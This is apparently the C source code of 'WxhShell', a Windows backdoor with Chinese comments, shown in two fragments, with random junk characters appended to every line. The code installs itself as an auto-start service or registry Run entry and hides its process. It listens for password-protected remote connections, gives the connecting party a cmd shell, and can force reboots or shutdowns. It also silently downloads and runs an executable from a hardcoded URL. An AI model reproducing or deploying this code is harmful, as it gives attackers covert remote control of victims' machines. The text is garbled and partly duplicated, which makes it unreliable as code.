    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (XJQ$n  
    if(Boot(SHUTDOWN)) A3_9MO   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&]w* (,  
    else { 67x^{u7  
    closesocket(wsh); bed+Ur&  
    ExitThread(0); YC'~8\x3z  
    } *$VurqLn  
    break; 1*h7L<#|mQ  
    } w3>|mDA}I  
  // 获取shell 6K}=K?3Z  
  case 's': { z3]U% y(,  
    CmdShell(wsh); S41>VbtEp  
    closesocket(wsh); SfUUo9R(sm  
    ExitThread(0); "=.|QKC1`  
    break;  Dfia=1A  
  } qgNK!(kWpr  
  // 退出 x(=x;X$[^  
  case 'x': { v=VmiBq[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y=Qf!Cq]  
    CloseIt(wsh); ?M^t4nj  
    break; 5g5NTm`=<  
    } W+?[SnHL/  
  // 离开 m{c#cR  
  case 'q': { tpONSRY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %SCu29km  
    closesocket(wsh); +`-a*U94  
    WSACleanup(); W?-BT >#s  
    exit(1); o"[bIXf-h  
    break; 0h4}RmS  
        } -QDgr`%5  
  } 0(x@ NGb>{  
  } RCXSz  
vWs c{9  
  // 提示信息 =fK'Ep[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VY@hhr1s~  
} \*aLyyy3  
  } q}Z T?Xk?  
( y*X8  
  return; W+e*(W|d6  
} vfJk? (  
s$x] fO  
// shell模块句柄 IQe[ CcM  
int CmdShell(SOCKET sock) Eu.qA9,@U  
{ 2EwWV 0BS  
STARTUPINFO si; L^1q/4${  
ZeroMemory(&si,sizeof(si)); <Cu?$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g4aX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )=nPM`Jn.  
PROCESS_INFORMATION ProcessInfo; IA#*T`  
char cmdline[]="cmd"; %L>nXj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hRIS [#z;U  
  return 0; zy6(S_j  
} r5fkt>HZ  
w })Pedg  
// 自身启动模式 gzCMJ<3!D  
int StartFromService(void) I@Z*Nu1L  
{ m_02"'  
typedef struct 9$V_=Bo  
{ m:f ouMS  
  DWORD ExitStatus; `W$0T;MPF  
  DWORD PebBaseAddress; 76Vyhf&7  
  DWORD AffinityMask; 2vdQ&H4  
  DWORD BasePriority; bL],KW;Q  
  ULONG UniqueProcessId; w+q;dc8  
  ULONG InheritedFromUniqueProcessId; ro^6:w3O^  
}   PROCESS_BASIC_INFORMATION; :CST!+)o  
_q$LrAT  
PROCNTQSIP NtQueryInformationProcess; Q=L$7   
*RbOQ86vP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |5B,cB_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |k .M+  
hf+/kc!>i  
  HANDLE             hProcess; ciGpluQF  
  PROCESS_BASIC_INFORMATION pbi; P[I*%  
LH/&\k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h9BD ^j  
  if(NULL == hInst ) return 0; 7|M$W(P  
~? FrI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Ma/b=Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pm#x?1rAj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~r>EF!U`h  
tk)>CK11  
  if (!NtQueryInformationProcess) return 0; #ON#4WD?  
3aE[F f[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^M(`/1:  
  if(!hProcess) return 0; R2Rstk  
ICl_ eb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o(d_uJOB  
zJuRth)(,  
  CloseHandle(hProcess); +)JNFy-  
'/u:,ar  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `gt&Y-  
if(hProcess==NULL) return 0; or%gTVZ  
>1a \ %G  
HMODULE hMod; @W1WReK]f  
char procName[255]; przubMt  
unsigned long cbNeeded; %EVV-n@  
I`"-$99|t1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N(_ .N6  
Z(LxB$^l[  
  CloseHandle(hProcess); | z#m  
8_<&f%/  
if(strstr(procName,"services")) return 1; // 以服务启动 zr3q>]oma  
qu<B%v  
  return 0; // 注册表启动 L_Y9+ e  
} 4/HY[FT  
RP~vB#}  
// 主模块 1Nl&4YLO  
int StartWxhshell(LPSTR lpCmdLine) "M9TB. O  
{ 5Cc6 , ]  
  SOCKET wsl; Th7wP:iDP  
BOOL val=TRUE; H5AK n*'7  
  int port=0; TV1e bH7q  
  struct sockaddr_in door; QmH/yy3.%  
9feD!0A  
  if(wscfg.ws_autoins) Install(); P[rAJJN/E  
ub`z7gL  
port=atoi(lpCmdLine); 9Eq^B9(  
B^i mG  
if(port<=0) port=wscfg.ws_port; lFiq<3Nk  
:b<-[8d&  
  WSADATA data; yfSiByU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '^Pq(b~  
9,S,NvSq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @@xO+$6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ov\Ct%]  
  door.sin_family = AF_INET; }iPo8Ra  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @D fkGm[%  
  door.sin_port = htons(port); WdTbt  
f![xn2T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5wzQ?07T_  
closesocket(wsl); ?)!SmN/  
return 1; -!XrwQyk  
} #'J~Xk   
((-aC`  
  if(listen(wsl,2) == INVALID_SOCKET) { (y=dR1p  
closesocket(wsl); "[awmZ:wo  
return 1; 9Tzc(yCY  
}  4]"a;(  
  Wxhshell(wsl); q$MHCq;  
  WSACleanup(); E=;BI">.  
- ,R0IGS  
return 0; a4yOe*Ak,F  
@AvM  
} 5+y@ ]5&g  
S#P+B*v  
// 以NT服务方式启动 "I5uDFZR&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +7Sf8tg\  
{ ])N|[|$  
DWORD   status = 0; z8g=;><  
  DWORD   specificError = 0xfffffff; '/Cg*o/  
:L]-'\y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f8^"E $"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3|q2rA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lqg] Fd  
  serviceStatus.dwWin32ExitCode     = 0; H9sZR>(^  
  serviceStatus.dwServiceSpecificExitCode = 0; W7%p^;ZQ$  
  serviceStatus.dwCheckPoint       = 0; A)OdQFet(  
  serviceStatus.dwWaitHint       = 0; d?JAUbqy  
{*sGhGwr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SrSG{/{  
  if (hServiceStatusHandle==0) return; W5pn;u- sz  
b([:,T7  
status = GetLastError(); +IvNyj|  
  if (status!=NO_ERROR) L?C\Q^0"`G  
{ JK[T]|G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F@g17aa  
    serviceStatus.dwCheckPoint       = 0; $?-7OXj<  
    serviceStatus.dwWaitHint       = 0; g&Z"_7L~  
    serviceStatus.dwWin32ExitCode     = status; >Q&CgGpW$  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Kr S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M/*Bh,M`  
    return; ^Fn%K].X  
  } 6Ux[,]G K  
nZ~kZ |VS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kPWBDpzN  
  serviceStatus.dwCheckPoint       = 0;  1y 7y0V  
  serviceStatus.dwWaitHint       = 0; 87pnSj/X"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lBS"3s384  
} \Ps5H5Qk;  
Is ot4HLM  
// 处理NT服务事件,比如:启动、停止 / HL_$g<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w:v=se"U  
{ 00"CC  
switch(fdwControl) I4ebkPgf  
{ d<!IGt4Ky  
case SERVICE_CONTROL_STOP: MBlBMUJk  
  serviceStatus.dwWin32ExitCode = 0; B& "RS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -'j7SOGk  
  serviceStatus.dwCheckPoint   = 0; uj)yk*  
  serviceStatus.dwWaitHint     = 0; V n^)  
  { ?HV}mS[t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Y+")  
  } Nfg{,/ O  
  return;  >9{zQf!  
case SERVICE_CONTROL_PAUSE: )J&|\m(e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5} G:D  
  break; 7_KXD#  
case SERVICE_CONTROL_CONTINUE: CG.,/]_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oXdel Ju?  
  break; ?.Q3 pUT  
case SERVICE_CONTROL_INTERROGATE: \X5 3|Y;=  
  break; <*_o0;h|  
}; g>yry}>04%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@Iw;V  
} sDX/zF6t  
@`S.@^%7fO  
// 标准应用程序主函数 F{\=PCZ>7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '$?du~L-  
{ D#ZPq,f  
/kRAt^4!  
// 获取操作系统版本 dZDK7UL  
OsIsNt=GetOsVer(); lov%V*tL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NV6G.x  
'BhwNuW\"  
  // 从命令行安装 \2>3Opt  
  if(strpbrk(lpCmdLine,"iI")) Install(); j;+["mi  
Yz\ N&0"  
  // 下载执行文件 7h`^N5H.q  
if(wscfg.ws_downexe) { IJ_ m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tDt :^Bc  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^BiP LQ  
} K"w%n[u)  
bb1  f/C%  
if(!OsIsNt) { K{2h9 ]VF  
// 如果时win9x,隐藏进程并且设置为注册表启动 >Nh`rkR2[  
HideProc(); #kci=2q_  
StartWxhshell(lpCmdLine); dlR_ckp  
} )~dOmfw%|  
else En\Z#0,V  
  if(StartFromService()) QD4:W"i  
  // 以服务方式启动 ? |VysJ  
  StartServiceCtrlDispatcher(DispatchTable); i ?-Y  
else NbkK&bz  
  // 普通方式启动 *)D1!R<\,R  
  StartWxhshell(lpCmdLine); 9go))&`PJL  
\=fh-c(J,  
return 0; +?AW>&68y  
} 8wmQ4){  
5\'AD^{  
dB7ZT0L\  
f3#X0.':  
=========================================== eGvOA\y:  
BIj   
7n&yv9"  
oKa>.e7.  
]0-<>  
q3+8]-9|5  
" ^Xs]C|=W  
1tGgDbJU  
#include <stdio.h> ?1w"IjUS  
#include <string.h> K*+6`z#fMF  
#include <windows.h> &S-er{]]  
#include <winsock2.h> C:j]43`  
#include <winsvc.h> y-a|Lu*  
#include <urlmon.h> Ct!S Tk[2  
t$I|E  
#pragma comment (lib, "Ws2_32.lib") T 6HU*(  
#pragma comment (lib, "urlmon.lib") ~ffwLgu!  
(Ilsk{aB;A  
#define MAX_USER   100 // 最大客户端连接数 a+ GJVJ  
#define BUF_SOCK   200 // sock buffer OZOb1D  
#define KEY_BUFF   255 // 输入 buffer %l|\of7P2}  
e=>% ^F  
#define REBOOT     0   // 重启 k|B2@{  
#define SHUTDOWN   1   // 关机 9g]M4*?C9P  
x~+-VF3/  
#define DEF_PORT   5000 // 监听端口 6fGK (r  
*eGM7o*\X  
#define REG_LEN     16   // 注册表键长度 nk/vGa4  
#define SVC_LEN     80   // NT服务名长度 CDCC1BG"  
fM ^<+o@  
// 从dll定义API P {H{UKs#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w2zp#;d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ac\W\=QvB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c0[k T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /gw Cwyo  
{ERjeuDm]  
// wxhshell配置信息 lRND  
struct WSCFG { T|bZ9_?+2  
  int ws_port;         // 监听端口 U ~1 SF  
  char ws_passstr[REG_LEN]; // 口令 uvv.WbZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no TB#N k5  
  char ws_regname[REG_LEN]; // 注册表键名 3dm'xe tM  
  char ws_svcname[REG_LEN]; // 服务名 KY+]RxX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L_?$ayZ;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %h/! Y<%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hk;bk?:m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }\Z5{OA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ub)M*Cq0(o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D]u=PqHk2  
~6d5zI4\  
}; ;BVDt  
xR}of"  
// default Wxhshell configuration -3vh!JMN  
struct WSCFG wscfg={DEF_PORT, d?7BxYaa  
    "xuhuanlingzhe", v<&v]!nF  
    1, 9v~5qv;  
    "Wxhshell", bn-=fb(  
    "Wxhshell", `bqzg  
            "WxhShell Service", O<X )p`,`  
    "Wrsky Windows CmdShell Service", <25ccE9^c  
    "Please Input Your Password: ", 6"%2,`Nu  
  1, 6x4_b  
  "http://www.wrsky.com/wxhshell.exe", !Uy>eji}  
  "Wxhshell.exe" o4~kX  
    }; yjpz_<7a=  
=4>@8=JA  
// 消息定义模块 +-ewE-:|L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g;G5 r&T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ImHU:iR[J-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oHsP?%U  
char *msg_ws_ext="\n\rExit."; bA *"ei+!  
char *msg_ws_end="\n\rQuit."; <kbnu7?a*  
char *msg_ws_boot="\n\rReboot..."; L[. <o{  
char *msg_ws_poff="\n\rShutdown..."; $W,zO|-  
char *msg_ws_down="\n\rSave to "; }`]]b+_b>@  
K~@`o-Z[  
char *msg_ws_err="\n\rErr!"; VIg\]%qse  
char *msg_ws_ok="\n\rOK!"; Yb9cW\lr  
s41adw>  
char ExeFile[MAX_PATH]; `^e*T'UPl  
int nUser = 0; fTgbF{?xh  
HANDLE handles[MAX_USER]; {aIZFe}B  
int OsIsNt; "XB4yExy  
nx$bM(.  
SERVICE_STATUS       serviceStatus; Z@oKz:U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e5L 1er;6  
O{BW;Deo  
// 函数声明 =mLeMk/7 w  
int Install(void); yxY h?ka  
int Uninstall(void); L!vWRwZwC  
int DownloadFile(char *sURL, SOCKET wsh); :`5;nl63  
int Boot(int flag); 2Pz5f  
void HideProc(void); rXDJ:NP  
int GetOsVer(void); 2-7Z(7G{ F  
int Wxhshell(SOCKET wsl); #G~wE*VR$  
void TalkWithClient(void *cs); i'iO H|s  
int CmdShell(SOCKET sock); -;ER`Jqs,  
int StartFromService(void); kyu2)L2u  
int StartWxhshell(LPSTR lpCmdLine); /+29.1#|  
m{O Dz :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `GS cRhbh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O!,Ca1N  
1VGpq-4*j  
// 数据结构和表定义 T+(M8 qb  
SERVICE_TABLE_ENTRY DispatchTable[] = yWmrdvL  
{ 0}D-KvjyP  
{wscfg.ws_svcname, NTServiceMain}, ?61L|vr  
{NULL, NULL} GI?PGAT  
}; nfa_8  
W7$s5G,  
// 自我安装 HM 90Sb  
int Install(void) |+u+)C  
{ n_1jHJo  
  char svExeFile[MAX_PATH]; dB@FI  
  HKEY key; J ZA*{n2  
  strcpy(svExeFile,ExeFile); v` $%G  
G~S))p  
// 如果是win9x系统,修改注册表设为自启动 n 3h^VQ*]G  
if(!OsIsNt) { 8<Xq=*J+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 >'66gZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %uj[`  
  RegCloseKey(key); lS#7x h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;eP_;N5+J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Fgz)*Gu]  
  RegCloseKey(key); )=y.^@UT@  
  return 0; r1+c/;TpZ  
    } e~3]/BL  
  } 40R"^*  
} VZHr-z$6n  
else { 28ja-1dB  
0e)lY='^_  
// 如果是NT以上系统,安装为系统服务 > CH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "oHp.$+K  
if (schSCManager!=0) xm^N8  
{ hI*`>9l  
  SC_HANDLE schService = CreateService aXX,Zu^  
  ( 1k$2LQ  
  schSCManager, tc"T}huypU  
  wscfg.ws_svcname, .#"1bRWpZ  
  wscfg.ws_svcdisp, ~KJ,SLzhx9  
  SERVICE_ALL_ACCESS, ES^NBI j5P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DE'Xq6#PK  
  SERVICE_AUTO_START, y2U/$%B)G  
  SERVICE_ERROR_NORMAL, [+y &HNf  
  svExeFile, L^6"' #  
  NULL, O5u cI$s  
  NULL, uijq@yo8-  
  NULL, BO[+E' 2  
  NULL, >y]?MGk  
  NULL Yd[U  
  ); hJecCOA)'  
  if (schService!=0) +8]W\<Kp  
  { 3gC\{y!8  
  CloseServiceHandle(schService); km9Gwg/zT  
  CloseServiceHandle(schSCManager); 4s[`yV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _2wAaJvA  
  strcat(svExeFile,wscfg.ws_svcname); ,NjX&A@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yZ?xt'tn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 aY'0wa  
  RegCloseKey(key); Y=AH%Gy9 )  
  return 0; i:C.8hmAE  
    } :uOZjEZi  
  } qsD?dHi7  
  CloseServiceHandle(schSCManager); mfj4`3:NV  
} " ]aQ Hh]f  
} d^ 2u}^kG  
ue,#, 3{m  
return 1; [Bl $IfU  
} 3yeK@>C  
n/ui<&(  
// 自我卸载 _Ngx$  
int Uninstall(void) eKL]E!  
{ ~sZqa+jB0  
  HKEY key; "2*G$\  
_{N0OX  
if(!OsIsNt) { ev~dsk6k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 99\{!W  
  RegDeleteValue(key,wscfg.ws_regname); j9{O0[v  
  RegCloseKey(key); kqj;l\N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j)g_*\tQ  
  RegDeleteValue(key,wscfg.ws_regname); 6H(fk1E  
  RegCloseKey(key); F% F c+?  
  return 0; 5F'%i;)oq  
  } /X(@|tk:  
} &p/S>qKu#  
}  !7 ei1  
else { 6a "VCE]  
..vSL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #pS]k<o%1  
if (schSCManager!=0) r]8wOu-'  
{ >wz;}9v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B'WCN&N  
  if (schService!=0) 5*s1qA0^  
  { Qv9*p('~A  
  if(DeleteService(schService)!=0) { Tns?mQ  
  CloseServiceHandle(schService); A[sM{i~Z  
  CloseServiceHandle(schSCManager); FK4nz2&4  
  return 0; nz,Mqol  
  } \_m\U.*  
  CloseServiceHandle(schService); 8zP:*|D  
  } YQN]x}:E+4  
  CloseServiceHandle(schSCManager); e%P+KX  
} r;&]?9)W0  
} {0NsDi>(2  
LK'S)Jk  
return 1; XM$5S+e  
} *r)zBr  
=oL8d 6nI  
// 从指定url下载文件 S5:"_U  
int DownloadFile(char *sURL, SOCKET wsh) (cOND/S  
{ t,--V|7-  
  HRESULT hr; JcvHJ0X~a  
char seps[]= "/"; =yk Rki  
char *token; 9[epr+f  
char *file; )@8'k]Glw.  
char myURL[MAX_PATH]; fZka%[B  
char myFILE[MAX_PATH]; N.fQ7z=Z(M  
4_6W s$x  
strcpy(myURL,sURL); &A ;3; R  
  token=strtok(myURL,seps); B-y0;0  
  while(token!=NULL) c]AKeq]  
  { A%NK0j$;}  
    file=token; nZ2mEt  
  token=strtok(NULL,seps); dCf'\ @<<  
  } R`Ys;g/!  
J[j/aDdP  
GetCurrentDirectory(MAX_PATH,myFILE); >5Q^9 9V  
strcat(myFILE, "\\"); 1=9qAp;?o  
strcat(myFILE, file); 'Yaf\Hp  
  send(wsh,myFILE,strlen(myFILE),0); [M7iJcwt  
send(wsh,"...",3,0); (c|$+B^*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?J^IAF y  
  if(hr==S_OK) ++J Bbuzj!  
return 0; %8Z|/LGg  
else b:}wR*Adc  
return 1; k=h/i8i2z  
sUyCAKebRr  
} bGMeBj"R  
mR" 2  
// 系统电源模块 Mv7w5vTl  
int Boot(int flag) DU*g~{8T$  
{ OUBgBr   
  HANDLE hToken; wRV`v$*6  
  TOKEN_PRIVILEGES tkp; O)$N}V0  
|k7ts&2  
  if(OsIsNt) { l(k rUv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T(sG.%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); np'M4^E;  
    tkp.PrivilegeCount = 1; ;i-D~Np|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dFI.`pB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ${TB2q}%  
if(flag==REBOOT) { >n$E e J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NR;S3-Iq(  
  return 0; DMK"Q#Vw  
} $dVgFot  
else { )'K!)?&d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WoClTb>F  
  return 0; N) V7yo?  
} lvz:UWo  
  } v:J.d5  
  else { RBv=  
if(flag==REBOOT) { HkfSx rTgQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GH; F3s  
  return 0; *xZQG9`kt  
} +NzD/.gq  
else { L3G)?rPFC#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RqX4ep5j  
  return 0; bb O;AiHD  
} AP?{N:+  
} @|\s$L  
:hl}Z n~jt  
return 1; #:ED 0</  
} {C0OrO2:  
@h7GTA \  
// win9x进程隐藏模块 EbwZZSds1  
void HideProc(void) p-(ADQS  
{ 0R%uVJG  
RQK**  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); um0}`Xq^  
  if ( hKernel != NULL ) nE "b`  
  { cnUU1Uz>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g9lg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]BS{,sI  
    FreeLibrary(hKernel); kmwrv -W  
  } q@RY.&mgW  
4Igs\x{i  
return; ;~1/eF  
} Kn9=a-b?,  
 ~NW5+M(u  
// 获取操作系统版本 b8b PK<  
int GetOsVer(void) ,w58n%)H  
{ &LxzAL,3!  
  OSVERSIONINFO winfo; >0;"qT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pt|$bU7  
  GetVersionEx(&winfo); *ej o6>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :;#}9g9  
  return 1; [@FeRIu8  
  else 3L!&~'.Ro  
  return 0; L!8?2 \5  
} [\M?8R$)  
q2U"k  
// 客户端句柄模块 <n~g+ps  
int Wxhshell(SOCKET wsl) 7Caap/L:  
{ 7;s0m0<%~  
  SOCKET wsh; 9kg>)ty@  
  struct sockaddr_in client; Hr,lA(  
  DWORD myID; EV,NJ3V  
ghO//?m  
  while(nUser<MAX_USER) om39;nk!}  
{ FEi,^V  
  int nSize=sizeof(client); \,#4+&4b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pc ?G^ Xol  
  if(wsh==INVALID_SOCKET) return 1; v5bb|o[{K  
sL`D}_:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y?4=u,{C  
if(handles[nUser]==0) L$?~TY  
  closesocket(wsh); "=TTsxyM6P  
else ;A'17B8  
  nUser++;  >33b@)  
  }  SSM> ID  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZZJ"Ny.2  
aeLo;!Jh  
  return 0; ^p%+rB.j[  
} LK}eU,m=  
:< 3;7R'5  
// 关闭 socket !Kqj&y5  
void CloseIt(SOCKET wsh) "1TM  
{ ?B:wV?-`  
closesocket(wsh); $[;eb,  
nUser--; {"AYOc>2|  
ExitThread(0); 5*'N Q010  
} aZ3 #g  
Vx8.FNJh  
// 客户端请求句柄 " yl"A4p S  
void TalkWithClient(void *cs) *jSc&{s~  
{ R2f,a*>  
j`M<M[C*4N  
  SOCKET wsh=(SOCKET)cs; APm[)vw#f  
  char pwd[SVC_LEN]; zq>"a&Y,  
  char cmd[KEY_BUFF]; J-?(sjIX  
char chr[1]; l zkn B  
int i,j; <[??\YOc  
j-E>*N}-_  
  while (nUser < MAX_USER) { 4nXS9RiF2  
#yxYL0CcA:  
if(wscfg.ws_passstr) { %R"nm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z'M@DY/fdK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;] o^u.PC  
  //ZeroMemory(pwd,KEY_BUFF); v^E2!X  
      i=0; mw.aavB  
  while(i<SVC_LEN) { z1A-EeT  
/'+JP4mK  
  // 设置超时 `G{t<7[[;  
  fd_set FdRead; #?| z&9  
  struct timeval TimeOut; 9Dkgu ^`  
  FD_ZERO(&FdRead); }+3~y'k  
  FD_SET(wsh,&FdRead); (Gs g+c   
  TimeOut.tv_sec=8; .v8=zi:7Y  
  TimeOut.tv_usec=0; i<![i5uAI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qp Vm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : P2;9+v  
P3>2=qK"E(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |,f6c Om f  
  pwd=chr[0]; .6(i5K  
  if(chr[0]==0xd || chr[0]==0xa) { :/Zh[Q@EG  
  pwd=0; y5 +&P  
  break; aa!c>"g6  
  } LRgk9*@,  
  i++; 9 f+7vCA  
    } pc>R|~J{2  
H[oi? {L  
  // 如果是非法用户,关闭 socket 81g0oVv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s#sX r  
} ]sE^=;Pv?  
9`b3=&i\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nQC[[G*x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xbIA97g-O,  
yK;I<8+>_  
while(1) { %vzpp\t  
J0o[WD$A x  
  ZeroMemory(cmd,KEY_BUFF); 'ZZ/:MvQa  
~a Rq\fx{  
      // 自动支持客户端 telnet标准   `WL*Jb  
  j=0; Yzz8:n  
  while(j<KEY_BUFF) { iBt5aUt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B7C6Mau  
  cmd[j]=chr[0]; !Ai;S  
  if(chr[0]==0xa || chr[0]==0xd) { oKiu6=  
  cmd[j]=0; >~ :]+q  
  break; fk_i~K  
  } Q=E6ZxH5;  
  j++; 'rgV]Oy  
    } %8/$CR  
3]Mx,u  
  // 下载文件 7;V5hul  
  if(strstr(cmd,"http://")) { OduTg^R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J/ ~]A1fP6  
  if(DownloadFile(cmd,wsh)) Z9y:}:j"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =v}.sJ V?  
  else VrG|/2  
